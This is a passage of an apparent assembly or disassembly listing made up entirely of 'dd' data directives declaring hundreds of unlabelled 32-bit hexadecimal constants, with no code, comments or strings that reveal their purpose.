		dd 0CB249E1h, 0BD411A24h, 37876BDAh, 6AC507B1h,	73BFAF40h
		dd 0C77A5033h, 0D3BE5AF1h, 6154B2Ah, 24D749E9h,	2419CF51h
		dd 57FD6862h, 0AA13A966h, 0C58840BCh, 0D6685958h, 7981469Fh
		dd 6B0D3952h, 0F2E92204h, 7BA2F760h, 16841732h,	2B065D64h
		dd 449D5580h, 2EF22015h, 96695995h, 522AC351h, 344F85B1h
		dd 3DC462BAh, 8DEB9B68h, 2C7DE016h, 826F8296h, 6136C625h
		dd 457ED5A3h, 0EB1D9374h, 67266DB2h, 28E985F0h,	0C16694CBh
		dd 0D4E38008h, 472C6856h, 0BDC0AD76h, 28B26B1h,	0D953BF03h
		dd 4EF4FC74h, 609F7C04h, 35804FC0h, 0E5504FDFh,	1C080682h
		dd 70511482h, 5889DA49h, 6925FB56h, 68E7AD18h, 790EB62Ah
		dd 0DAD6E917h, 41E182CCh, 0B0016B3Fh, 3D1E7FF8h, 0A37E856Bh
		dd 102148F0h, 354C4DC5h, 7DDEC825h, 0CD242753h,	66554E41h
		dd 0B1257CF0h, 9527E8C1h, 50F62570h, 0EEE567AFh, 0E037AA2Bh
		dd 9033DDC9h, 50026000h, 100449B0h, 70C34C28h, 0FDE0BF20h
		dd 565A5EEh, 0C7D4DEFFh, 7E63BCAAh, 26FE902Dh, 41C4379h
		dd 0FA840A0Ch, 9687FD09h, 286B2845h, 48E68BBFh,	55B501E1h
		dd 8CE96F4Ch, 813B2879h, 2A263EDCh, 5FA03D6Ah, 4C646807h
		dd 72F44FF7h, 0E36F0EA8h, 1F1F1DA4h, 7BB44056h,	7E2A0EF6h
		dd 0F1412089h, 7FF9015Eh, 16B8E414h, 6DB51AEAh,	0A42B04DDh
		dd 14B51C11h, 0C0329F5Eh, 1FD8E15Fh, 0F94EB168h, 9FBE501h
		dd 0F4F40EDEh, 0A730A7CAh, 183CBE56h, 0B2190638h, 6D253115h
		dd 9DC15051h, 0B3094589h, 5C5B22D8h, 56AD38BBh,	0A45CC940h
		dd 2033B4F2h, 4EB309B1h, 6D800B2Fh, 0F0ABE901h,	0C3F0F195h
		dd 9913F568h, 8547CE9h,	5AEE00B7h, 685046E3h, 5BE5ECD1h
		dd 4B178A41h, 33828281h, 0A25FD26Ah, 0E6B73658h, 0E4883DCDh
		dd 0C05CC26h, 0CE2B4C61h, 0ED3EEF41h, 60BA8E9Fh, 0B913092Eh
		dd 310BCC5Eh, 0BB022D84h, 12ADE72h, 1A16C1C8h, 0FC0AD3Eh
		dd 5C89515Ah, 0A1FAC0F5h, 9AF82A95h, 5320E09Ch,	8A489711h
		dd 519746E4h, 0BC7CAD2h, 69100EA9h, 183D5517h, 0E38A983Ch
		dd 12A4F317h, 706526Dh,	262C018Ah, 34000C7Ch, 531CD717h
		dd 17255B58h, 17B62F5h,	0E907E06Bh, 7B68256Dh, 0C3F21BECh
		dd 28269CDDh, 954A09CCh, 0DA2A1075h, 8BFE5FD7h,	68DD621Dh
		dd 2020D25Ah, 55976CDDh, 0C2D56E29h, 0ACA27140h, 4C0C38EDh
		dd 0C80C35C1h, 45261E18h, 0A9D21030h, 0F3287CE5h, 7061FB5Ah
		dd 9089B947h, 2F84E4D0h, 66B2AA1Eh, 0FEDFA182h,	0AB60E921h
		dd 65F4C93h, 0EB0609C8h, 6BBAE207h, 1BB41D69h, 5B2458ECh
		dd 8A5E0802h, 4DB2C00h,	0EDF02876h, 7F8BB7D3h, 0B24C8316h
		dd 7FC1050h, 0AB4DD15Ah, 0C2FF1553h, 0BDD22938h, 35521EFEh
		dd 4E6204B9h, 96EE722Ah, 0CD26A87Ch, 0C344642Ch, 58E6FCBAh
		dd 44AE5A08h, 0EF3FDB18h, 82C876DCh, 0FF04CA2h,	0C1F78902h
		dd 0C507BFDFh, 0AF4A9492h, 3949B4CAh, 2E0B846Dh, 74A7E701h
		dd 0A86A08B5h, 84EB4BC2h, 751C8877h, 0F02DA694h, 0C4AE4B6Ah
		dd 5FFD80C4h, 0DAE7264Bh, 16C570DDh, 602B06E9h,	3CB96824h
		dd 5C2D2292h, 200290Fh,	40173D88h, 676D68E4h, 79782577h
		dd 3CBE5A7h, 57D14D7Bh,	0F714AD49h, 0E9064415h,	0B62EDC07h
		dd 74474FD1h, 0E6CEAB6Eh, 54BA11F8h, 3119BD80h,	0C3832F50h
		dd 2E304DF8h, 8A4B0C54h, 0E1154F7Bh, 0E6A36F2Ch, 4CDFA214h
		dd 822E0C07h, 0C7F7B108h, 0A73068FEh, 77A1C8D3h, 47F51231h
		dd 435F869h, 1BBD73D3h,	564F1781h, 2E5164CAh, 25B04AE9h
		dd 0A8C4B67Fh, 9FF8D208h, 21E3297Eh, 0E9130AF9h, 508392FEh
		dd 0B5A6853h, 268C3085h, 0FDF09557h, 0B7BF4B40h, 8295EE72h
		dd 96A967Bh, 0FED40FC3h, 8E44C784h, 4283D187h, 0EB6B0B84h
		dd 8A8F47CEh, 8322E67Fh, 0E388535Ah, 3EDCADCAh,	0F6EFE192h
		dd 6598F5Eh, 803F3997h,	283C50B8h, 48C4D88h, 3246068Dh
		dd 84E905C1h, 880F8690h, 0EDB6757Dh, 9383A62Fh,	0A2C263E4h
		dd 4CFE7791h, 87EB096Eh, 0D305BE01h, 0A4E91980h, 0FB1AD710h
		dd 56036D16h, 8CFDDD56h, 4E20CAAAh, 470A40BBh, 0C17F6D0Dh
		dd 5E06E525h, 0B9AA0AD8h, 4369A74Eh, 87C13C52h,	0FFCB015Ah
		dd 0E99C16C5h, 5B8D8725h, 9317963h, 0CA87410Ch,	6BE34A0h
		dd 2E5AA488h, 65BB9FF0h, 0FE5B3A11h, 6CAFB105h,	7CC144FCh
		dd 3F3F5C49h, 0CDC35544h, 55852AD2h, 0B9FD1289h, 175DF54h
		dd 4154B73Fh, 3A10F3C9h, 6809AC53h, 0D976561Fh,	0A7463E61h
		dd 3003E750h, 0F3509E3h, 5439C85h, 0CA8C4A08h, 2F9920C5h
		dd 0B1D45C53h, 0AF4A5EC2h, 8DDC142Ah, 907F285Dh, 99B2E9B3h
		dd 35EDA9C0h, 4A3D661Ah, 24E2B889h, 2F4790CFh, 0E0F180B8h
		dd 93CD15Ah, 5359CA01h,	5B64CEBBh, 0F4EBDAE3h, 0B8E904F2h
		dd 0B0F1E433h, 5902669Ch, 7F74D468h, 8A313A65h,	0C510A077h
		dd 7DFC47B2h, 0AF800F1Eh, 59E451E9h, 0CB5B73E9h, 0FBED1794h
		dd 0C2EFA229h, 0BBD9C851h, 786F241Eh, 16F30197h, 3029D204h
		dd 2C1DE93Dh, 0F6EF2FEBh, 15650465h, 1EA28114h,	980128ABh
		dd 2460641Ch, 1095408Dh, 192575F9h, 72B212FAh, 0CDFC5EA4h
		dd 547F6194h, 78EDEE4Eh, 69DECB4h, 711A0330h, 92A6129Eh
		dd 0D6DB04FBh, 0B3D5EAE9h, 1A149BFAh, 759DB6E9h, 28732554h
		dd 0BF465C0Dh, 99E94368h, 0BD5168BAh, 1FE3B1Ch,	1360BCBh
		dd 295E3EBh, 87B1E908h,	4151C5FFh, 30E8305Ch, 9941FB60h
		dd 13768B3Fh, 0D5E373BFh, 0BF812E14h, 40B72DC0h, 2AEB3C59h
		dd 0A5641EEFh, 16EE05Dh, 86E913C8h, 0E1D789F7h,	2EC63865h
		dd 0EB097A5Dh, 8489A1D1h, 0CA5C831h, 27CF66FDh,	39775598h
		dd 0FF2F5738h, 0FE598B4Bh, 9FB38C1Dh, 3C03C7FBh, 14F7108h
		dd 4DA74DFh, 0E90B0C53h, 3858A138h, 54CE5E9Eh, 0D25FF813h
		dd 0E75D56A4h, 0B275A5EBh, 0D4C17DB5h, 0E4FD6BFEh, 163BAB84h
		dd 0F53E40EFh, 48BB58DCh, 2710809Fh, 0B809E474h, 0F6C42064h
		dd 78CB292Fh, 920EF420h, 0D269F15Ch, 177F4D9h, 0A920F987h
		dd 416A130Eh, 0B0E1AC4Ah, 136B5C68h, 4BC1E913h,	0B3055FD1h
		dd 5113434Ch, 53A103B9h, 0E20F7430h, 0BECD40h, 49F9726Ah
		dd 0A6CE681h, 126C2F5Ch, 89C5C5Fh, 62CEF8CBh, 2CB518BAh
		dd 3B19075Fh, 0A7F021B4h, 68560951h, 85801FEAh,	0FCF6815Eh
		dd 7ADA6113h, 0F8D0B71Ch, 5386284Bh, 0B6C0499Ch, 0BDB00475h
		dd 7BE9D058h, 0E9C430FCh, 4F12AA20h, 4A2A7BAh, 0A95B05B9h
		dd 0B307F6C4h, 49678237h, 0C4BC6D62h, 1F6A2D61h, 508D3AA0h
		dd 315B2132h, 0F9965CECh, 59DB589Fh, 0C59501Bh,	2CAA2AF3h
		dd 53168680h, 5CFE2DCCh, 5C9ECB1Ch, 401D827Dh, 982670F2h
		dd 4E2C6E8Bh, 0C66851C0h, 0A2ED16Fh, 962E6559h,	82573E3Ch
		dd 3E367909h, 3D68555Fh, 65F646F1h, 3FE1335Eh, 0EFD043Bh
		dd 2BE68DB7h, 0BE8344EBh, 0D4BFFDE2h, 40730487h, 82541EA4h
		dd 25B88726h, 5DEBC27Dh, 9CE2395Ch, 1598DD59h, 0BDA92532h
		dd 98AC3FD6h, 3B9AF6C0h, 0CE907E4Fh, 7BB76B0Bh,	58D98797h
		dd 2F53F336h, 50FE575Eh, 828D5950h, 68174CC4h, 0F0F80373h
		dd 2A76F5B5h, 0E91696BCh, 318C4D47h, 9862E22Ah,	952864D5h
		dd 8C9315D5h, 0E931DE01h, 23F2432Eh, 0AF907D90h, 7174AA5Eh
		dd 2D6CE3EAh, 7C178B45h
		dd 0C840C47Ah, 0A05CEDDDh, 0D19D2FE3h, 20DD9DFAh, 89B676BDh
		dd 8DDECDCFh, 1A418060h, 1A8B010h, 16435705h, 7AE1F0E9h
		dd 0BFF8C239h, 3759B576h, 0AD128BA8h, 0EE1DA266h, 0BE017DD0h
		dd 411B2AE6h, 3B5B2109h, 13121F16h, 0DC3B44B8h,	0FD492996h
		dd 5FB31662h, 137C2D0Dh, 181FA26Bh, 31150467h, 27ABDFAh
		dd 0E7B88776h, 0ECBC244h, 7CB30D8Fh, 6617E3C0h,	0F096571h
		dd 7F633A86h, 7AA5C6EFh, 0F9064F7Fh, 45560199h,	0D4E972FFh
		dd 0B2DF002Eh, 0F3F28012h, 0DD6AE295h, 16715240h, 0A3AB1ED3h
		dd 207394D0h, 547E953Eh, 1EEC6884h, 46CB17B8h, 56B7E278h
		dd 0E5DC0B0Bh, 9054489Ah, 34EB6861h, 2EFA316Eh,	3B15ED16h
		dd 8AF25AACh, 2FBE9ED4h, 14A85FEAh, 1BDF08A2h, 4398AC20h
		dd 3B5EBB0Bh, 0B1EE535h, 5B6018E9h, 5078C229h, 187A022Dh
		dd 82A20D29h, 5DFB1677h, 5B8FEA87h, 0D9543A90h,	5E3994A5h
		dd 0E90D3FF9h, 0D4268BB4h, 0C3B6B09Eh, 90BD31Fh, 16D152D1h
		dd 161F957Eh, 8562F2DBh, 0C6C4D729h, 5A101319h,	44607FC6h
		dd 8C4B5789h, 0B5680588h, 5A84688Eh, 510DE50h, 29E74AF3h
		dd 40A7F6AFh, 7716E90Ch, 3390FEFBh, 0A91C7A68h,	1B891BC6h
		dd 8C07F231h, 0DAE5A2D2h, 588BDE0Bh, 0A4C1FB78h, 7428E0Fh
		dd 50CA8981h, 6070C40Dh, 2D451C7Eh, 103CF36Bh, 5A02527Bh
		dd 42E28B0Fh, 0F5D6A6A2h, 64FDCF6h, 73FABC6h, 317433C5h
		dd 2EDE054h, 1F258A0Fh,	0E1B85F7Bh, 0F2F72409h,	5FA03401h
		dd 63DB1499h, 0EF162AABh, 0D16865AEh, 6B0E280Ah, 524B0D8Eh
		dd 0CE9BB7F9h, 6801500Bh, 393B6BD3h, 0E4DA205Eh, 15E71F13h
		dd 7077C305h, 7D41BB0Bh, 0E91AFCECh, 5582821Fh,	159308DCh
		dd 2709EDB6h, 6FF924Bh,	480D2308h, 0AA1C1331h, 6DD52715h
		dd 6B6806C4h, 3926AB42h, 58935FA3h, 4BB77407h, 86880B2h
		dd 25F728B3h, 16DFEAFDh, 7EBCC298h, 6C77308Dh, 8C0500C3h
		dd 2D2AA04Bh, 82480B73h, 0E70F133Bh, 680AF5F7h,	406E4E96h
		dd 7830488Dh, 11E78107h, 0E9225D0Ah, 0DB4B5FCDh, 2912DEB1h
		dd 6D0B02F1h, 0F5214458h, 0F27670A7h, 755E5DA4h, 9C5A808h
		dd 4A58E2C0h, 0EA30C776h, 30140C03h, 8DE924D1h,	0E8868318h
		dd 858DDF6h, 108A3FF1h,	0C112F3EDh, 0A14809E6h,	7C9D8A7Ah
		dd 200B1352h, 16B3C2E2h, 0EAA4E75Bh, 6F290505h,	0EAB98C0Fh
		dd 0E7BF0912h, 0D89B8B47h, 0F35BBFC7h, 8A5D9CBh, 0E1274893h
		dd 81358608h, 95FC1635h, 0AF4ED6ECh, 0AFB0AF87h, 0B3ACDD57h
		dd 974B08FBh, 4077E225h, 2532C649h, 0F25C0E3Ch,	48A8CC30h
		dd 0D15C4C96h, 107DAA07h, 0D1E3CF2Eh, 0CBE9324h, 877ACD0Bh
		dd 0F080D754h, 9478232h, 0D70F7597h, 2E198E1h, 0F86AE2E9h
		dd 6FD57240h, 0C9A9D883h, 2B5E97FEh, 0C8F40052h, 2C42D46Ch
		dd 1619D0F7h, 0EB8AFBD7h, 0CB46572Ch, 96AD29D9h, 76576539h
		dd 0F47F90DAh, 84D2077h, 4974CC3h, 6FCF3B23h, 0EEA788EAh
		dd 5F793E18h, 5452E913h, 9CDFD5Eh, 7A4E51E1h, 4F7B0680h
		dd 7DB844A9h, 0A72F7478h, 903478C4h, 0CC024B0Ah, 9BFA287h
		dd 3E3273CDh, 6FB1F62Ch, 6B142006h, 594ED09h, 0FEE9E04Eh
		dd 2B540B7Ch, 73C3EB29h, 30501BB0h, 13ECE916h, 0C9028FAh
		dd 113E5D97h, 6FBE0E30h, 3B2563F6h, 0CE0217E2h,	2C765A20h
		dd 11C9A262h, 31AF7066h, 0CEF8D84Bh, 0BCBD1786h, 3D556EB5h
		dd 0FC732C8h, 1388CB89h, 1D0E28FEh, 0C7583B40h,	5655E018h
		dd 0D9889C12h, 719DDD68h, 693BE64h, 56AEE4CFh, 0D32700B4h
		dd 3500A400h, 0A1B2F818h, 0BA04D0ADh, 6EC2F3D4h, 0D2F0098Ah
		dd 2B736814h, 0FC038938h, 237C2D72h, 7ABCC1E5h,	6BDFBD00h
		dd 0EA21698Fh, 0DCACFA0h, 26D60E01h, 6F97870Fh,	0AE4B1C32h
		dd 660C691Dh, 3E801661h, 9A27ECEAh, 6C555642h, 0D65D580Eh
		dd 80842A26h, 0B02E1868h, 2D045871h, 0FB19C8C7h, 0C00ED1ABh
		dd 4A010238h, 0F66E8997h, 0A377AFE6h, 2F445DADh, 89D7EA8Fh
		dd 0F284F587h, 776609B3h, 0EB79C127h, 0C7914D6h, 81F0DB02h
		dd 685A449Eh, 0C02FEFB3h, 0FA5FC645h, 29289A3Ah, 7F41FCF2h
		dd 92B4AD20h, 0B1D6B525h, 0B8BA03DAh, 0B12A1DFCh, 52F9D2E7h
		dd 5439FB1Eh, 5BE9B23Bh, 77E0FF10h, 133F19BCh, 4944AE55h
		dd 8003ABB3h, 0CB83DEC3h, 6E146DF9h, 0F7C57B8Ch, 0CF84C9BAh
		dd 8356481Bh, 0C2F9337Ch, 59FB24B0h, 6ECA055Bh,	6E90E909h
		dd 10BB9857h, 17C2A493h, 5D3210Fh, 0FC54B95Dh, 0E006C50Bh
		dd 6882FEA8h, 4C4C6B56h, 30D9FC55h, 5814C987h, 1DFA3084h
		dd 38D735A2h, 8101BFB8h, 51EBB1F7h, 0AB7DE633h,	0F15400A2h
		dd 504A6053h, 4C18FF81h, 0E103650Bh, 5F4E5ED3h,	2160C06h
		dd 0A24043Fh, 0A8769C28h, 4BAF10BCh, 0AC04F9B8h, 1B3447h
		dd 3CB808B4h, 16CE2CE9h, 45C888FDh, 0ED98E3A0h,	200AE22Dh
		dd 0F015A9F0h, 894ABD5Dh, 95A080Bh, 3B2F1A20h, 0D693D330h
		dd 7172FE35h, 884CF6FEh, 923AAACEh, 1FF90B37h, 0F821EFD3h
		dd 5B03D3C0h, 7AA582B1h, 487C2898h, 958F08E5h, 0BF783A1Fh
		dd 22B043C5h, 7EB05049h, 0D0D500D4h, 0FC0FEE8h,	0ED9A608Bh
		dd 1A7028EFh, 55931071h, 3B8A0DEh, 45A66D1h, 52C88156h
		dd 0CFECA82Fh, 54888BB5h, 38F82F09h, 0E2CFF5B1h, 5DAF6851h
		dd 0B313EE46h, 52085277h, 68570261h, 82681ACBh,	60824BC6h
		dd 24755576h, 138C0921h, 1B05FB03h, 31AB434Ch, 1A0FB5h
		dd 0C1815756h, 0CE16A282h, 0CAF82A2Fh, 0F83F6A2h, 0B358F189h
		dd 90BC2052h, 9CFA9FC7h, 0E1263C90h, 35406FA0h,	485D5515h
		dd 903A5058h, 939B217h,	72F6FF8Ah, 841070Dh, 0E7E56520h
		dd 0C2610005h, 0AB98FD29h, 0E59D8FBDh, 12FC1A5Ch, 0D1013DC5h
		dd 70DA8908h, 0EEEA5A49h, 1C5A3590h, 3DAB79BEh,	0F1A61096h
		dd 66D32801h, 6013D068h, 820956h, 0BC0AFCC4h, 0E1D2A063h
		dd 916516B0h, 15040527h, 0EB75BACEh, 0A4043900h, 9505CA80h
		dd 664A2F5Ah, 6FE95E02h, 0DBA95764h, 0FE7F4304h, 2931DADDh
		dd 0F7D74A3Fh, 568908A9h, 0A946983Eh, 0D8F61Ah,	402E8C0h
		dd 4CEB80C4h, 0E919C3E0h, 0B9BB2896h, 621EBE2Ah, 0E4942DF9h
		dd 0CFB627BEh, 88B093E6h, 9DBDF540h, 0FD3D0977h, 0E741EA4Ah
		dd 0CC76ACB8h, 95AF2DC5h, 0E14A1329h, 15B97EFFh, 0C1DF93DFh
		dd 243B2CB4h, 5214F87Bh, 39913CB2h, 93C2926Eh, 257A4908h
		dd 0FE8242B9h, 0FE880514h, 8250A1B2h, 0B7709536h, 4E8C5F4Eh
		dd 62D2BC14h, 0D003711h, 0F0AB5481h, 0ABD84FF7h, 21504105h
		dd 101234C5h, 7EBFC7EEh, 0AC34E9C4h, 0B9A64A01h, 0FEA6AE1Eh
		dd 0E0945C24h, 3202BF2h, 12E90F16h, 0DEDC4BEAh,	5FC4CA74h
		dd 0A3B6CBE0h, 8414D390h, 0C32BFDBEh, 8CFFBBB8h, 0D248DCAFh
		dd 9F5DDD40h, 75C9F3D4h, 680F8EE5h, 8CEF665h, 5351D327h
		dd 4CB0756Bh, 920416CCh, 0AB67E979h, 0A94F9ACFh, 0DB7D1602h
		dd 76856F37h, 0EBD17797h, 0CD38FEA7h, 9566C2B4h, 2E7D9D41h
		dd 4C7EBE4h, 7A0D79D0h,	196DC24Fh, 42848E09h, 0C0532233h
		dd 148B0D4h, 0BA524CB4h, 602E4726h, 8E972904h, 0CCCE89C6h
		dd 4F8EFC6Dh, 71A19733h, 2AFECDFBh, 0F170BA3Dh,	0E7825E2Dh
		dd 0F5512DA7h, 0B877062Bh, 0B75BE388h, 50181853h, 3E040DA0h
		dd 0F94C4E7Dh, 0A060E913h, 9E0BBB5Dh, 504A2007h, 2BE9869h
		dd 353353A6h, 8A60EBC1h, 0D5822AC4h, 0BD2543C8h, 3C90C4A6h
		dd 0DC3D89B5h, 9EA5EF6Fh
		dd 0C269F957h, 0A105DC68h, 2103E952h, 99421359h, 4AF8A023h
		dd 54B3800Fh, 7B91E611h, 24F68251h, 6BFBF14Bh, 9420F952h
		dd 3C7C9D14h, 23A25D25h, 0C6575D6Ch, 49FA9757h,	59CD0117h
		dd 2EE9BD90h, 0D1C895D5h, 0E6973944h, 0D4B22ADh, 9E7F2309h
		dd 0C2980E35h, 811C3B12h, 85061DDCh, 7BD857C2h,	73F405E6h
		dd 2D19E812h, 8C6EB1FFh, 0E559EB68h, 3E789E20h,	0C70058BDh
		dd 14473842h, 0A7983B98h, 214C032Dh, 0E6840FF0h, 0ED9DC53Fh
		dd 9531841Ah, 0BB535C03h, 3E2AD802h, 4C65F868h,	743309C9h
		dd 208E1597h, 25785A80h, 365FE955h, 83B1E180h, 0A4C16280h
		dd 0A17A428Eh, 62A8C09h, 5658051h, 755E71D5h, 25BAE852h
		dd 4077F994h, 945BDE92h, 0C110C2A3h, 0FEE5904h,	0B693D340h
		dd 6E4E1C4Ah, 0CF477D25h, 9D14F72Dh, 0ED13584Eh, 68F143F8h
		dd 85E43EC0h, 0FA0E4AF4h, 0BF837631h, 7AE90A0Ah, 0D089B426h
		dd 98F00293h, 621E5C0Dh, 877ADD01h, 810E7D5Bh, 7749C458h
		dd 1E853B95h, 718490FBh, 0B765366h, 0BD5A3EF1h,	85C9760Ch
		dd 0CBF1215Dh, 0FFB05A81h, 25681855h, 66AFC562h, 0F9EDB3C0h
		dd 0F678EE43h, 88425E1Ch, 141348FBh, 11CD4C1Dh,	0C022531h
		dd 5BC9FC5Eh, 0C802B4F3h, 1B3B94BBh, 2624764Eh,	25020057h
		dd 37305A5Eh, 6A8E925h,	9715241h, 172F75F1h, 70991C2h
		dd 0A9E1F000h, 77D4D56h, 71FBC901h, 9684413h, 0F0E3DCEAh
		dd 124A41E9h, 0FC24CB9h, 9EF01889h, 0E8BBD59Dh,	3D09BEF6h
		dd 7618D44Eh, 4D84B9D6h, 8020D31Ah, 472A9D5Fh, 97E9490Ch
		dd 4B5E48C5h, 28C5BE2Dh, 0D5CC3C91h, 0B2A3BE04h, 5B46CF5Eh
		dd 52D50DF6h, 5E078A10h, 0DAE131AEh, 0AFAC3F68h, 431564E0h
		dd 0FD203941h, 0E13841F1h, 0D28562C8h, 29E6F601h, 0C17840CBh
		dd 5FB84410h, 90A70EBCh, 263C705Dh, 0F51F81E8h,	794769A7h
		dd 87850F4Dh, 0EAE9B5A0h, 79719F7Bh, 0EE0B88h, 0AABDD88Bh
		dd 1124807h, 0A41DDDF7h, 7DA7B56Ch, 5449FFCEh, 0DDD1C533h
		dd 4A728FFBh, 451A10C0h, 464B4C06h, 0A5BE1C4Eh,	0FE8F4E5Dh
		dd 3A680156h, 0E939D175h, 0C17C3Ch, 0D310EA2Dh,	51D02923h
		dd 0BAF00705h, 53B02E43h, 0EB01C4D2h, 0B348C8A3h, 0FEF1900Bh
		dd 5D4A834Ch, 833224EAh, 22006708h, 0D433C725h,	1F603575h
		dd 0CB592C10h, 0D41ADE45h, 8CE500DCh, 0DB5FFBF8h, 3DBE4B18h
		dd 8DF73A59h, 2058FB2Dh, 88297B0Bh, 0D530576Eh,	0BB6C5F7h
		dd 0D1F9F643h, 8A2FDFDEh, 7559251Dh, 0E4899EC7h, 0EEB920ACh
		dd 90DC5209h, 0E5C67895h, 0F0E90840h, 3B90B771h, 5BC2F201h
		dd 9354555Eh, 82F2B4A4h, 2100BB5Bh, 0D4BE5651h,	918A1792h
		dd 963EBD89h, 0B3350EABh, 0CD694572h, 0B9128C3Dh, 0C2345D12h
		dd 46C93400h, 95B352Dh,	0B4E08F0Fh, 0E920387Fh,	28B55A79h
		dd 24CC046h, 5E7259DFh,	0E84D9BA0h, 3B5B58E6h, 0FB9D983Bh
		dd 0F85E563Ch, 0E0F65A07h, 59DD0C9Ah, 19E94123h, 93627217h
		dd 653FC6A4h, 0FBEE99DAh, 2D2505Eh, 976885A0h, 8A0930F5h
		dd 0AA11D215h, 50E7F801h, 57709D60h, 0B9175E66h, 0A3CADE13h
		dd 58ADBBA0h, 40C65F61h, 69CDE243h, 0DAFB6AAFh,	2605EDDEh
		dd 13F13132h, 0CB35CEEh, 81C8F988h, 0D1B515B0h,	0EBFF696Bh
		dd 94CC298h, 0CCDD9989h, 0AAFDFE97h, 0D6B88291h, 7A9ACAB9h
		dd 543A3573h, 4995EB13h, 0E1AE3513h, 3617C7E5h,	1E4B0E49h
		dd 14255CBEh, 3110FB46h, 72EB5B28h, 73D6A9CFh, 0F297541Dh
		dd 8FA5B553h, 0F5198EBh, 0F8FC720Dh, 1244EA07h,	153017Ch
		dd 0E16A5F4Eh, 3E548061h, 46FE2023h, 0C4E230E9h, 0E0C1586Eh
		dd 35E1D7A3h, 0DFDE411Bh, 6C87F15h, 0C0A140A5h,	0C05E801h
		dd 0D0870F80h, 0FA0A126Eh, 3A1E3091h, 97C1A324h, 0EBA0385Ch
		dd 2DAC3F20h, 0DD7C381h, 0B82F0C40h, 7D0C6991h,	0C059DC3h
		dd 61D54718h, 0EBE50C87h, 4AE90802h, 2F9AE667h,	3776665Ch
		dd 12195A8Bh, 0C1F9DD4Ah, 0C0F42A8Ch, 0F5879566h, 50685153h
		dd 0F7C8F925h, 5716B4F4h, 64FFAF2h, 0B19760A9h,	2E722181h
		dd 0F5FE01D5h, 5016D542h, 49CA818Fh, 37A22401h,	96898E0Fh
		dd 69E14864h, 0AEDF22AFh, 0D356436Ch, 548B698h,	2975D10Eh
		dd 0C41C4F1h, 0FC1E5E08h, 0BC5A840Bh, 25C1F051h, 84184357h
		dd 0C400369Fh, 5AD02103h, 0B819B305h, 0EA094B41h, 0A6BA18D1h
		dd 7D4A96Ch, 0C57F8E6Bh, 8D270BE3h, 913D8859h, 8403DD0Dh
		dd 29455911h, 8821CB6h,	0F84B3741h, 0F1F8279Dh,	54703E04h
		dd 90AA4112h, 4A09769Eh, 10DE7E60h, 0C117C959h,	980C0E2Ah
		dd 95E8821Eh, 5831765Fh, 84584A64h, 0B598FBCFh,	0BFB9582Ch
		dd 0EC7813DEh, 38FE4F82h, 0A32768DDh, 7AA17E23h, 4B7A070Bh
		dd 0E6064125h, 0C6E027B0h, 1A921DD1h, 0C99EE8B2h, 0A2295399h
		dd 5B4CA6E2h, 0F16F2927h, 6ABC08A6h, 0BA40BC28h, 9F08F65Fh
		dd 4E461A02h, 0BEBC0A7Dh, 12E3610h, 25160CB3h, 625BC26Dh
		dd 0A23DD844h, 8F24BB16h, 0CB66D4D9h, 0E09CE90Bh, 7E20285Ah
		dd 0C9B10F4Ch, 12E6D928h, 9C9E6F1Fh, 1723EB0Fh,	688E09B6h
		dd 0A55B2A2Ch, 3B45BA4Dh, 730693CBh, 606D252h, 0BF1C9F8Bh
		dd 620C3061h, 0B70F80CDh, 59F368C8h, 6F8D0E4Dh,	4ABC2B39h
		dd 9420F4A7h, 2A40815Eh, 0CC63A6D4h, 2827C308h,	7F2425EFh
		dd 0A8883F5Bh, 6BE97804h, 294F2A9Ah, 2F20A2A8h,	9F585062h
		dd 0E0E655A1h, 4AB4DE59h, 45846FADh, 0F3026914h, 92325EA6h
		dd 50338702h, 924CFBCBh, 7F5B6813h, 901C72A3h, 86189603h
		dd 41A106B6h, 5A233CA4h, 356277AAh, 9A30D1ADh, 0B05D686Ch
		dd 9A5AEDE9h, 0D27B6Bh,	62D7F38h, 350F335Dh, 3B3A7B00h
		dd 424C0571h, 0C0904F0Ch, 0E9FD2190h, 60BE1131h, 32DCC509h
		dd 0FD0ED2DCh, 0C8D6116Ah, 0AE2BA551h, 700B841Fh, 812A74EFh
		dd 0C92D7DF7h, 4808203Bh, 2CAA0195h, 4ACD5925h,	0E804D8C0h
		dd 0E8B30553h, 0BFB9CB80h, 0B2523980h, 5EE9713Fh, 0C05A8ACDh
		dd 88F1B652h, 0F9E988F4h, 32EA2F4Ah, 2977DE58h,	0CB5A5CF6h
		dd 3C4C0F4Ah, 7D28209Dh, 254A7C6Dh, 0C6D17401h,	0E92A0CA0h
		dd 0B87284BFh, 2EC37312h, 90E05BBh, 90A0E9DFh, 0D900588h
		dd 0B7811C3Bh, 810439DCh, 206EF38Bh, 0D960F7DAh, 6A0E9810h
		dd 24C14822h, 84AB277Dh, 2A3A9711h, 86011BD1h, 9306FD2Ah
		dd 691264FDh, 0A435BC82h, 0DEE83584h, 68D9BB4Bh, 407F67F5h
		dd 236CC52Eh, 1494CBDh,	5B08405Ch, 291F4593h, 9E0B4DE6h
		dd 0A1167D13h, 0FEC3F710h, 32881877h, 8B570EA4h, 5455DD12h
		dd 0C3719621h, 0B603CC3Eh, 6026099Dh, 124E2DE5h, 5369C943h
		dd 570F050h, 0AF8AD4BDh, 0A194A05Fh, 904DA443h,	70551EBh
		dd 0EF48C42Bh, 0F93C1233h, 4E380D84h, 1859C4A4h, 6749DC0Fh
		dd 71A7A5B1h, 0E7D50805h, 0CA3F712Dh, 0B8DB1278h, 0BFE8D27Bh
		dd 2AF121B1h, 49F24BBAh, 4C31ED80h, 0C1E8161Ah,	0D7B2584Ah
		dd 6FFD5925h, 9CC70BA8h, 0C172E0DCh, 9FA5858h, 95C55355h
		dd 5A12D384h, 8D040801h, 0A783FCADh, 95C2EE5Fh,	24AD0A53h
		dd 0F2BDEE95h, 0FCE0B88Bh, 5DEEFE01h, 0B68B66Eh, 803457C3h
		dd 0EFCF3440h, 22370105h, 6A12AA79h, 9F7DFF4h, 0EBC17BEDh
		dd 0CF27C05Fh, 0BD0E029Eh, 2D07E926h, 969555h, 0EF685257h
		dd 3625A539h, 72D45Ah, 0C70AE7A7h, 0EBBF77E9h, 0A8C5B13Bh
		dd 5A8ECE6Bh, 5A048DE6h, 0AF31E468h, 1C04B30h, 415C5837h
		dd 0C710BC04h, 0C5F2BF67h
		dd 16CB8717h, 198AFA9Ah, 0D2962C59h, 73786463h,	2D5AC358h
		dd 0FFC0EA9Bh, 7AE5E1F2h, 7B9DA517h, 9558AA0Ch,	0FECB4359h
		dd 6AE98463h, 8E4AB5F4h, 0F61217EBh, 16E98EB4h,	0BDFEEAB2h
		dd 7705CBA0h, 9D1252E9h, 0EE8EF506h, 0E9CE0168h, 8E7A8228h
